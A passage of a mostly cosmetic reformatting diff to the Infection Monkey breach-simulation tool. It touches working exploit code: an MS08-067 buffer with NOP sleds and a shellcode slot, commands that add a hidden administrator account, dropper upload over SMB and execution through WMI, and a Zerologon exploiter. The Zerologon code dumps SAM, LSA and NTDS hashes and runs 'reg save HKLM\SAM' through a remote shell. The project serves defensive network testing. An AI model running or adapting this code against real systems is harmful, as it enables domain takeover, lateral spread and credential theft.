"\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00" + "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43" + "\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01" + "\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47" + "\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48" + "\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49" + "\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a" + "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00" + "\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02" + "\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41" + "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" + "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90" + "\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00" + "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00" ) # Payload for Windows 2000 target @@ -192,9 +192,9 @@ class Ms08_067_Exploiter(HostExploiter): _TARGET_OS_TYPE = ["windows"] _EXPLOITED_SERVICE = "Microsoft Server Service" _windows_versions = { - "Windows Server 2003 3790 Service Pack 2": WindowsVersion.Windows2003_SP2, - "Windows Server 2003 R2 3790 Service Pack 2": WindowsVersion.Windows2003_SP2, - "Windows 5.1": WindowsVersion.WindowsXP, + "Windows Server 2003 3790 Service Pack 2":WindowsVersion.Windows2003_SP2, + "Windows Server 2003 R2 3790 Service Pack 2":WindowsVersion.Windows2003_SP2, + "Windows 5.1":WindowsVersion.WindowsXP, } def __init__(self, host): @@ -202,19 +202,19 @@ def __init__(self, host): def is_os_supported(self): if self.host.os.get("type") in self._TARGET_OS_TYPE and self.host.os.get("version") in list( - self._windows_versions.keys() + self._windows_versions.keys() ): return True if not self.host.os.get("type") or ( - self.host.os.get("type") in self._TARGET_OS_TYPE and not self.host.os.get("version") + self.host.os.get("type") in self._TARGET_OS_TYPE and not self.host.os.get("version") ): is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() if smb_finger.get_host_fingerprint(self.host): return self.host.os.get("type") in self._TARGET_OS_TYPE and self.host.os.get( - "version" + "version" ) in list(self._windows_versions.keys()) return False @@ -226,7 +226,7 @@ def _exploit_host(self): return False os_version = self._windows_versions.get( - self.host.os.get("version"), WindowsVersion.Windows2003_SP2 + self.host.os.get("version"), WindowsVersion.Windows2003_SP2 ) exploited = False @@ -237,12 +237,12 @@ def _exploit_host(self): sock = exploit.start() sock.send( - "cmd /c (net user {} {} /add) &&" - " (net localgroup administrators {} /add)\r\n".format( - self._config.user_to_add, - self._config.remote_user_pass, - self._config.user_to_add, - ).encode() + "cmd /c (net user {} {} /add) &&" + " (net localgroup administrators {} /add)\r\n".format( + self._config.user_to_add, + self._config.remote_user_pass, + self._config.user_to_add, + ).encode() ) time.sleep(2) sock.recv(1000) @@ -260,22 +260,22 @@ def _exploit_host(self): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file( - self.host, - src_path, - self._config.dropper_target_path_win_32, - self._config.user_to_add, - self._config.remote_user_pass, + self.host, + src_path, + self._config.dropper_target_path_win_32, + self._config.user_to_add, + self._config.remote_user_pass, ) if not remote_full_path: # try other passwords for administrator for password in self._config.exploit_password_list: remote_full_path = SmbTools.copy_file( - self.host, - src_path, - self._config.dropper_target_path_win_32, - "Administrator", - password, + self.host, + src_path, + self._config.dropper_target_path_win_32, + "Administrator", + password, ) if remote_full_path: break @@ -286,18 +286,18 @@ def _exploit_host(self): # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % { - "dropper_path": remote_full_path + "dropper_path":remote_full_path } + build_monkey_commandline( - self.host, - get_monkey_depth() - 1, - SRVSVC_Exploit.TELNET_PORT, - self._config.dropper_target_path_win_32, + self.host, + get_monkey_depth() - 1, + SRVSVC_Exploit.TELNET_PORT, + self._config.dropper_target_path_win_32, ) else: cmdline = MONKEY_CMDLINE_WINDOWS % { - "monkey_path": remote_full_path + "monkey_path":remote_full_path } + build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=SRVSVC_Exploit.TELNET_PORT + self.host, get_monkey_depth() - 1, vulnerable_port=SRVSVC_Exploit.TELNET_PORT ) try: @@ -313,10 +313,10 @@ def _exploit_host(self): pass LOG.info( - "Executed monkey '%s' on remote victim %r (cmdline=%r)", - remote_full_path, - self.host, - cmdline, + "Executed monkey '%s' on remote victim %r (cmdline=%r)", + remote_full_path, + self.host, + cmdline, ) return True diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 7120f572006..51397d8c706 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -55,25 +55,27 @@ def _exploit_host(self): except AccessDeniedException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) LOG.debug( - ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging + ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging ) continue except DCERPCException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) LOG.debug( - ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging + ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging ) continue except socket.error: LOG.debug( - ("Network error in WMI connection to %r with " % self.host) + creds_for_logging + ( + "Network error in WMI connection to %r with " % self.host) + + creds_for_logging ) return False except Exception as exc: LOG.debug( - ("Unknown WMI connection error to %r with " % self.host) - + creds_for_logging - + (" (%s):\n%s" % (exc, traceback.format_exc())) + ("Unknown WMI connection error to %r with " % self.host) + + creds_for_logging + + (" (%s):\n%s" % (exc, traceback.format_exc())) ) return False @@ -81,10 +83,10 @@ def _exploit_host(self): # query process list and check if monkey already running on victim process_list = WmiTools.list_object( - wmi_connection, - "Win32_Process", - fields=("Caption",), - where="Name='%s'" % ntpath.split(src_path)[-1], + wmi_connection, + "Win32_Process", + fields=("Caption",), + where="Name='%s'" % ntpath.split(src_path)[-1], ) if process_list: wmi_connection.close() @@ -94,14 +96,14 @@ def _exploit_host(self): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file( - self.host, - src_path, - self._config.dropper_target_path_win_32, - user, - password, - lm_hash, - ntlm_hash, - self._config.smb_download_timeout, + self.host, + src_path, + self._config.dropper_target_path_win_32, + user, + password, + lm_hash, + ntlm_hash, + self._config.smb_download_timeout, ) if not remote_full_path: @@ -110,44 +112,45 @@ def _exploit_host(self): # execute the remote dropper in case the path isn't final elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % { - "dropper_path": remote_full_path + "dropper_path":remote_full_path } + build_monkey_commandline( - self.host, - get_monkey_depth() - 1, - WmiExploiter.VULNERABLE_PORT, - self._config.dropper_target_path_win_32, + self.host, + get_monkey_depth() - 1, + WmiExploiter.VULNERABLE_PORT, + self._config.dropper_target_path_win_32, ) else: cmdline = MONKEY_CMDLINE_WINDOWS % { - "monkey_path": remote_full_path + "monkey_path":remote_full_path } + build_monkey_commandline( - self.host, get_monkey_depth() - 1, WmiExploiter.VULNERABLE_PORT + self.host, get_monkey_depth() - 1, WmiExploiter.VULNERABLE_PORT ) # execute the remote monkey result = WmiTools.get_object(wmi_connection, "Win32_Process").Create( - cmdline, ntpath.split(remote_full_path)[0], None + cmdline, ntpath.split(remote_full_path)[0], None ) if (0 != result.ProcessId) and (not result.ReturnValue): LOG.info( - "Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)", - remote_full_path, - self.host, - result.ProcessId, - cmdline, + "Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)", + remote_full_path, + self.host, + result.ProcessId, + cmdline, ) self.add_vuln_port(port="unknown") success = True else: LOG.debug( - "Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", - remote_full_path, - self.host, - result.ProcessId, - result.ReturnValue, - cmdline, + "Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, " + "cmdline=%r)", + remote_full_path, + self.host, + result.ProcessId, + result.ReturnValue, + cmdline, ) success = False diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 9c18b2de3d6..28c73cc52b0 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -1,6 +1,7 @@ """ Zerologon, CVE-2020-1472 -Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/. +Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and +https://github.com/risksense/zerologon/. """ import logging @@ -54,7 +55,8 @@ def _exploit_host(self) -> bool: else: LOG.info( - "Exploit not attempted. Target is most likely patched, or an error was encountered." + "Exploit not attempted. Target is most likely patched, or an error was " + "encountered." ) return False @@ -131,7 +133,8 @@ def assess_exploit_attempt_result(self, exploit_attempt_result) -> bool: self.report_login_attempt(result=False, user=self.dc_name) _exploited = False LOG.info( - f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong." + f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something " + f"went wrong." ) return _exploited @@ -194,13 +197,14 @@ def restore_password(self) -> bool: def get_all_user_creds(self) -> List[Tuple[str, Dict]]: try: options = OptionsForSecretsdump( - target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" - target_ip=self.dc_ip, - dc_ip=self.dc_ip, + target=f"{self.dc_name}$@{self.dc_ip}", + # format for DC account - "NetBIOSName$@0.0.0.0" + target_ip=self.dc_ip, + dc_ip=self.dc_ip, ) dumped_secrets = self.get_dumped_secrets( - remote_name=self.dc_ip, username=f"{self.dc_name}$", options=options + remote_name=self.dc_ip, username=f"{self.dc_name}$", options=options ) self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets) @@ -210,27 +214,28 @@ def get_all_user_creds(self) -> List[Tuple[str, Dict]]: for user in self._extracted_creds.keys(): if user == admin: # most likely to work so try this first creds_to_use_for_getting_original_pwd_hashes.insert( - 0, (user, self._extracted_creds[user]) + 0, (user, self._extracted_creds[user]) ) else: creds_to_use_for_getting_original_pwd_hashes.append( - (user, self._extracted_creds[user]) + (user, self._extracted_creds[user]) ) return creds_to_use_for_getting_original_pwd_hashes except Exception as e: LOG.info( - f"Exception occurred while dumping secrets to get some username and its password's NT hash: {str(e)}" + f"Exception occurred while dumping secrets to get some username and its " + f"password's NT hash: {str(e)}" ) return None def get_dumped_secrets( - self, - remote_name: str = "", - username: str = "", - options: Optional[object] = None, + self, + remote_name: str = "", + username: str = "", + options: Optional[object] = None, ) -> List[str]: dumper = DumpSecrets(remote_name=remote_name, username=username, options=options) dumped_secrets = dumper.dump().split("\n") @@ -248,34 +253,34 @@ def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> None: user_RID, lmhash, nthash = parts_of_secret[1:4] self._extracted_creds[user] = { - "RID": int(user_RID), # relative identifier - "lm_hash": lmhash, - "nt_hash": nthash, + "RID":int(user_RID), # relative identifier + "lm_hash":lmhash, + "nt_hash":nthash, } def store_extracted_creds_for_exploitation(self) -> None: for user in self._extracted_creds.keys(): self.add_extracted_creds_to_exploit_info( - user, - self._extracted_creds[user]["lm_hash"], - self._extracted_creds[user]["nt_hash"], + user, + self._extracted_creds[user]["lm_hash"], + self._extracted_creds[user]["nt_hash"], ) self.add_extracted_creds_to_monkey_config( - user, - self._extracted_creds[user]["lm_hash"], - self._extracted_creds[user]["nt_hash"], + user, + self._extracted_creds[user]["lm_hash"], + self._extracted_creds[user]["nt_hash"], ) def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None: self.exploit_info["credentials"].update( - { - user: { - "username": user, - "password": "", - "lm_hash": lmhash, - "ntlm_hash": nthash, + { + user:{ + "username":user, + "password":"", + "lm_hash":lmhash, + "ntlm_hash":nthash, + } } - } ) # so other exploiters can use these creds @@ -295,11 +300,11 @@ def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> try: options = OptionsForSecretsdump( - dc_ip=self.dc_ip, - just_dc=False, - system=os.path.join(os.path.expanduser("~"), "monkey-system.save"), - sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"), - security=os.path.join(os.path.expanduser("~"), "monkey-security.save"), + dc_ip=self.dc_ip, + just_dc=False, + system=os.path.join(os.path.expanduser("~"), "monkey-system.save"), + sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"), + security=os.path.join(os.path.expanduser("~"), "monkey-security.save"), ) dumped_secrets = self.get_dumped_secrets(remote_name="LOCAL", options=options) @@ -310,7 +315,8 @@ def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> except Exception as e: LOG.info( - f"Exception occurred while dumping secrets to get original DC password's NT hash: {str(e)}" + f"Exception occurred while dumping secrets to get original DC password's NT " + f"hash: {str(e)}" ) finally: @@ -318,14 +324,15 @@ def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool: LOG.info( - f"Starting remote shell on victim with credentials:\n" - f"user: {username}\n" - f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : " - f"{self._config.hash_sensitive_data(user_pwd_hashes[1])}" + f"Starting remote shell on victim with credentials:\n" + f"user: {username}\n" + f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : " + f"{self._config.hash_sensitive_data(user_pwd_hashes[1])}" ) wmiexec = Wmiexec( - ip=self.dc_ip, username=username, hashes=":".join(user_pwd_hashes), domain=self.dc_ip + ip=self.dc_ip, username=username, hashes=":".join(user_pwd_hashes), + domain=self.dc_ip ) remote_shell = wmiexec.get_remote_shell() @@ -334,12 +341,13 @@ def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> b try: # Save HKLM keys on victim. remote_shell.onecmd( - "reg save HKLM\\SYSTEM system.save && " - + "reg save HKLM\\SAM sam.save && " - + "reg save HKLM\\SECURITY security.save" + "reg save HKLM\\SYSTEM system.save && " + + "reg save HKLM\\SAM sam.save && " + + "reg save HKLM\\SECURITY security.save" ) - # Get HKLM keys locally (can't run these together because it needs to call do_get()). + # Get HKLM keys locally (can't run these together because it needs to call + # do_get()). remote_shell.onecmd("get system.save") remote_shell.onecmd("get sam.save") remote_shell.onecmd("get security.save") @@ -382,7 +390,7 @@ def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> return False def try_restoration_attempt( - self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str + self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str ) -> Optional[object]: try: restoration_attempt_result = self.attempt_restoration(rpc_con, original_pwd_nthash) @@ -398,7 +406,7 @@ def try_restoration_attempt( return False def attempt_restoration( - self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str + self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str ) -> Optional[object]: plaintext = b"\x00" * 8 ciphertext = b"\x00" * 8 @@ -406,26 +414,26 @@ def attempt_restoration( # Send challenge and authentication request. server_challenge_response = nrpc.hNetrServerReqChallenge( - rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext + rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext ) server_challenge = server_challenge_response["ServerChallenge"] server_auth = nrpc.hNetrServerAuthenticate3( - rpc_con, - self.dc_handle + "\x00", - self.dc_name + "$\x00", - nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - self.dc_name + "\x00", - ciphertext, - flags, + rpc_con, + self.dc_handle + "\x00", + self.dc_name + "$\x00", + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, + self.dc_name + "\x00", + ciphertext, + flags, ) assert server_auth["ErrorCode"] == 0 session_key = nrpc.ComputeSessionKeyAES( - None, - b"\x00" * 8, - server_challenge, - unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"), + None, + b"\x00" * 8, + server_challenge, + unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"), ) try: @@ -436,7 +444,7 @@ def attempt_restoration( ZerologonExploiter._set_up_request(request, self.dc_name) request["PrimaryName"] = NULL pwd_data = impacket.crypto.SamEncryptNTLMHash( - unhexlify(original_pwd_nthash), session_key + unhexlify(original_pwd_nthash), session_key ) request["UasNewPassword"] = pwd_data diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py index 9d2116d07e3..6601a5ea4c9 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -98,11 +98,11 @@ def __init__(self, remote_name, username="", password="", domain="", options=Non def connect(self): self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host) self.__smb_connection.login( - self.__username, - self.__password, - self.__domain, - self.__lmhash, - self.__nthash, + self.__username, + self.__password, + self.__domain, + self.__lmhash, + self.__nthash, ) def dump(self): # noqa: C901 @@ -132,24 +132,26 @@ def dump(self): # noqa: C901 self.connect() except Exception as e: if os.getenv("KRB5CCNAME") is not None and self.__do_kerberos is True: - # SMBConnection failed. That might be because there was no way to log into the - # target system. We just have a last resort. Hope we have tickets cached and that they + # SMBConnection failed. That might be because there was no way to + # log into the + # target system. We just have a last resort. Hope we have tickets + # cached and that they # will work LOG.debug( - "SMBConnection didn't work, hoping Kerberos will help (%s)" - % str(e) + "SMBConnection didn't work, hoping Kerberos will help (%s)" + % str(e) ) else: raise self.__remote_ops = RemoteOperations( - self.__smb_connection, self.__do_kerberos, self.__kdc_host + self.__smb_connection, self.__do_kerberos, self.__kdc_host ) self.__remote_ops.setExecMethod(self.__options.exec_method) if ( - self.__just_DC is False - and self.__just_DC_NTLM is False - or self.__use_VSS_method is True + self.__just_DC is False + and self.__just_DC_NTLM is False + or self.__use_VSS_method is True ): self.__remote_ops.enableRegistry() bootkey = self.__remote_ops.getBootKey() @@ -158,24 +160,26 @@ def dump(self): # noqa: C901 except Exception as e: self.__can_process_SAM_LSA = False if ( - str(e).find("STATUS_USER_SESSION_DELETED") - and os.getenv("KRB5CCNAME") is not None - and self.__do_kerberos is True + str(e).find("STATUS_USER_SESSION_DELETED") + and os.getenv("KRB5CCNAME") is not None + and self.__do_kerberos is True ): - # Giving some hints here when SPN target name validation is set to something different to Off. - # This will prevent establishing SMB connections using TGS for SPNs different to cifs/. + # Giving some hints here when SPN target name validation is set to + # something different to Off. + # This will prevent establishing SMB connections using TGS for SPNs + # different to cifs/. LOG.error( - "Policy SPN target name validation might be restricting full DRSUAPI dump." - + "Try -just-dc-user" + "Policy SPN target name validation might be restricting full " + "DRSUAPI dump." + "Try -just-dc-user" ) else: LOG.error("RemoteOperations failed: %s" % str(e)) # If RemoteOperations succeeded, then we can extract SAM and LSA. if ( - self.__just_DC is False - and self.__just_DC_NTLM is False - and self.__can_process_SAM_LSA + self.__just_DC is False + and self.__just_DC_NTLM is False + and self.__can_process_SAM_LSA ): try: if self.__is_remote is True: @@ -184,7 +188,7 @@ def dump(self): # noqa: C901 SAM_file_name = self.__sam_hive self.__SAM_hashes = SAMHashes( - SAM_file_name, bootkey, isRemote=self.__is_remote + SAM_file_name, bootkey, isRemote=self.__is_remote ) self.__SAM_hashes.dump() except Exception as e: @@ -197,10 +201,10 @@ def dump(self): # noqa: C901 SECURITY_file_name = self.__security_hive self.__LSA_secrets = LSASecrets( - SECURITY_file_name, - bootkey, - self.__remote_ops, - isRemote=self.__is_remote, + SECURITY_file_name, + bootkey, + self.__remote_ops, + isRemote=self.__is_remote, ) self.__LSA_secrets.dumpCachedHashes() self.__LSA_secrets.dumpSecrets() @@ -208,7 +212,8 @@ def dump(self): # noqa: C901 LOG.debug(traceback.print_exc()) LOG.error("LSA hashes extraction failed: %s" % str(e)) - # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work. + # NTDS Extraction we can try regardless of RemoteOperations failing. It might + # still work. if self.__is_remote is True: if self.__use_VSS_method and self.__remote_ops is not None: NTDS_file_name = self.__remote_ops.saveNTDS() @@ -218,20 +223,21 @@ def dump(self): # noqa: C901 NTDS_file_name = self.__ntds_file self.__NTDS_hashes = NTDSHashes( - NTDS_file_name, - bootkey, - isRemote=self.__is_remote, - noLMHash=self.__no_lmhash, - remoteOps=self.__remote_ops, - useVSSMethod=self.__use_VSS_method, - justNTLM=self.__just_DC_NTLM, + NTDS_file_name, + bootkey, + isRemote=self.__is_remote, + noLMHash=self.__no_lmhash, + remoteOps=self.__remote_ops, + useVSSMethod=self.__use_VSS_method, + justNTLM=self.__just_DC_NTLM, ) try: self.__NTDS_hashes.dump() except Exception as e: LOG.debug(traceback.print_exc()) if str(e).find("ERROR_DS_DRA_BAD_DN") >= 0: - # We don't store the resume file if this error happened, since this error is related to lack + # We don't store the resume file if this error happened, since this error + # is related to lack # of enough privileges to access DRSUAPI. resume_file = self.__NTDS_hashes.getResumeSessionFile() if resume_file is not None: @@ -239,7 +245,8 @@ def dump(self): # noqa: C901 LOG.error(e) if self.__use_VSS_method is False: LOG.error( - "Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter" + "Something wen't wrong with the DRSUAPI approach. Try again with " + "-use-vss parameter" ) self.cleanup() except (Exception, KeyboardInterrupt) as e: diff --git a/monkey/infection_monkey/exploit/zerologon_utils/options.py b/monkey/infection_monkey/exploit/zerologon_utils/options.py index 32cdfe40f01..0c888a45918 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/options.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/options.py @@ -26,18 +26,20 @@ class OptionsForSecretsdump: use_vss = False def __init__( - self, - dc_ip=None, - just_dc=True, - sam=None, - security=None, - system=None, - target=None, - target_ip=None, + self, + dc_ip=None, + just_dc=True, + sam=None, + security=None, + system=None, + target=None, + target_ip=None, ): - # dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in ../zerologon.py + # dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in + # ../zerologon.py self.dc_ip = dc_ip - # just_dc becomes False, and sam, security, and system are assigned in get_original_pwd_nthash() in ../zerologon.py + # just_dc becomes False, and sam, security, and system are assigned in + # get_original_pwd_nthash() in ../zerologon.py self.just_dc = just_dc self.sam = sam self.security = security diff --git a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py index 3b635f6b5e9..91511226f45 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py @@ -134,9 +134,11 @@ def output_callback(data): self.__outputBuffer += data.decode(self.CODEC) except UnicodeDecodeError: LOG.error( - "Decoding error detected, consider running chcp.com at the target,\nmap the result with " - "https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py " - "again with -codec and the corresponding codec" + "Decoding error detected, consider running chcp.com at the target," + "\nmap the result with " + "https://docs.python.org/3/library/codecs.html#standard-encodings\nand " + "then execute wmiexec.py " + "again with -codec and the corresponding codec" ) self.__outputBuffer += data.decode(self.CODEC, errors="replace") diff --git a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py index 467c41d69f6..0f345aa804d 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py @@ -23,14 +23,14 @@ def _get_dc_name(dc_ip: str) -> str: """ nb = nmb.NetBIOS.NetBIOS() name = nb.queryIPForName( - ip=dc_ip, timeout=MEDIUM_REQUEST_TIMEOUT + ip=dc_ip, timeout=MEDIUM_REQUEST_TIMEOUT ) # returns either a list of NetBIOS names or None if name: return name[0] else: raise DomainControllerNameFetchError( - "Couldn't get domain controller's name, maybe it's on external network?" + "Couldn't get domain controller's name, maybe it's on external network?" ) @@ -62,21 +62,21 @@ def _try_zero_authenticate(zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5) # Send challenge and authentication request. nrpc.hNetrServerReqChallenge( - rpc_con, - zerologon_exploiter_object.dc_handle + "\x00", - zerologon_exploiter_object.dc_name + "\x00", - plaintext, + rpc_con, + zerologon_exploiter_object.dc_handle + "\x00", + zerologon_exploiter_object.dc_name + "\x00", + plaintext, ) try: server_auth = nrpc.hNetrServerAuthenticate3( - rpc_con, - zerologon_exploiter_object.dc_handle + "\x00", - zerologon_exploiter_object.dc_name + "$\x00", - nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - zerologon_exploiter_object.dc_name + "\x00", - ciphertext, - flags, + rpc_con, + zerologon_exploiter_object.dc_handle + "\x00", + zerologon_exploiter_object.dc_name + "$\x00", + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, + zerologon_exploiter_object.dc_name + "\x00", + ciphertext, + flags, ) assert server_auth["ErrorCode"] == 0 @@ -84,7 +84,7 @@ def _try_zero_authenticate(zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5) except nrpc.DCERPCSessionError as ex: if ( - ex.get_error_code() == 0xC0000022 + ex.get_error_code() == 0xC0000022 ): # STATUS_ACCESS_DENIED error; if not this, probably some other issue. pass else: diff --git a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py index 2486998e4a3..615994b1f43 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py @@ -73,26 +73,26 @@ def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$") def connect(self): self.smbConnection = SMBConnection(self.__ip, self.__ip) self.smbConnection.login( - user=self.__username, - password=self.__password, - domain=self.__domain, - lmhash=self.__lmhash, - nthash=self.__nthash, + user=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash, ) self.dcom = DCOMConnection( - target=self.__ip, - username=self.__username, - password=self.__password, - domain=self.__domain, - lmhash=self.__lmhash, - nthash=self.__nthash, - oxidResolver=True, + target=self.__ip, + username=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash, + oxidResolver=True, ) try: iInterface = self.dcom.CoCreateInstanceEx( - wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login + wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login ) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) self.iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) @@ -107,7 +107,7 @@ def get_remote_shell(self): self.connect() win32Process, _ = self.iWbemServices.GetObject("Win32_Process") self.shell = RemoteShell( - self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME + self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME ) return self.shell diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index e0c0eef08fd..c72f5b24239 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -22,23 +22,24 @@ LOG = None LOG_CONFIG = { - "version": 1, - "disable_existing_loggers": False, - "formatters": { - "standard": { - "format": "%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s" + "version":1, + "disable_existing_loggers":False, + "formatters":{ + "standard":{ + "format":"%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(" + "funcName)s.%(lineno)d: %(message)s" }, }, - "handlers": { - "console": {"class": "logging.StreamHandler", "level": "DEBUG", "formatter": "standard"}, - "file": { - "class": "logging.FileHandler", - "level": "DEBUG", - "formatter": "standard", - "filename": None, + "handlers":{ + "console":{"class":"logging.StreamHandler", "level":"DEBUG", "formatter":"standard"}, + "file":{ + "class":"logging.FileHandler", + "level":"DEBUG", + "formatter":"standard", + "filename":None, }, }, - "root": {"level": "DEBUG", "handlers": ["console"]}, + "root":{"level":"DEBUG", "handlers":["console"]}, } @@ -71,13 +72,13 @@ def main(): print("Error loading config: %s, using default" % (e,)) else: print( - "Config file wasn't supplied and default path: %s 